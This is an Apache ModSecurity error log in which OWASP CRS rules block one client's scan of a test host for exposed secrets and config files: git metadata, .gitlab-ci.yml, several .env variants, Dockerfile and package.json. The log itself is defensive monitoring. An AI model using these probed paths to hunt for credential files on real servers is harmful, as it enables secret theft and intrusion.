[Fri Aug 01 20:57:21.454546 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHQAAAAg&quot;]
[Fri Aug 01 20:57:21.454740 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHQAAAAg&quot;]
[Fri Aug 01 20:57:21.454910 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHQAAAAg&quot;]
[Fri Aug 01 20:57:21.477315 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHgAAAAg&quot;]
[Fri Aug 01 20:57:21.477495 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHgAAAAg&quot;]
[Fri Aug 01 20:57:21.477645 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/ORIG_HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHgAAAAg&quot;]
[Fri Aug 01 20:57:21.968140 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HKQAAAAg&quot;]
[Fri Aug 01 20:57:21.968360 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HKQAAAAg&quot;]
[Fri Aug 01 20:57:21.968520 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HKQAAAAg&quot;]
[Fri Aug 01 20:57:22.105676 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HLwAAAAg&quot;]
[Fri Aug 01 20:57:22.105882 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HLwAAAAg&quot;]
[Fri Aug 01 20:57:22.106053 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HLwAAAAg&quot;]
[Fri Aug 01 20:57:22.128141 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMAAAAAg&quot;]
[Fri Aug 01 20:57:22.128341 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMAAAAAg&quot;]
[Fri Aug 01 20:57:22.128520 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMAAAAAg&quot;]
[Fri Aug 01 20:57:22.150629 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMQAAAAg&quot;]
[Fri Aug 01 20:57:22.150821 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMQAAAAg&quot;]
[Fri Aug 01 20:57:22.150997 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMQAAAAg&quot;]
[Fri Aug 01 20:57:22.173086 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMgAAAAg&quot;]
[Fri Aug 01 20:57:22.173294 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMgAAAAg&quot;]
[Fri Aug 01 20:57:22.173463 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMgAAAAg&quot;]
[Fri Aug 01 20:57:22.195473 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMwAAAAg&quot;]
[Fri Aug 01 20:57:22.195655 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMwAAAAg&quot;]
[Fri Aug 01 20:57:22.195822 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HMwAAAAg&quot;]
[Fri Aug 01 20:57:22.217848 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HNAAAAAg&quot;]
[Fri Aug 01 20:57:22.218047 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HNAAAAAg&quot;]
[Fri Aug 01 20:57:22.218213 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HNAAAAAg&quot;]
[Fri Aug 01 20:57:22.377397 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HOwAAAAg&quot;]
[Fri Aug 01 20:57:22.377601 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HOwAAAAg&quot;]
[Fri Aug 01 20:57:22.377765 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HOwAAAAg&quot;]
[Fri Aug 01 20:57:22.402538 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HPAAAAAg&quot;]
[Fri Aug 01 20:57:22.402718 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HPAAAAAg&quot;]
[Fri Aug 01 20:57:22.402867 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HPAAAAAg&quot;]
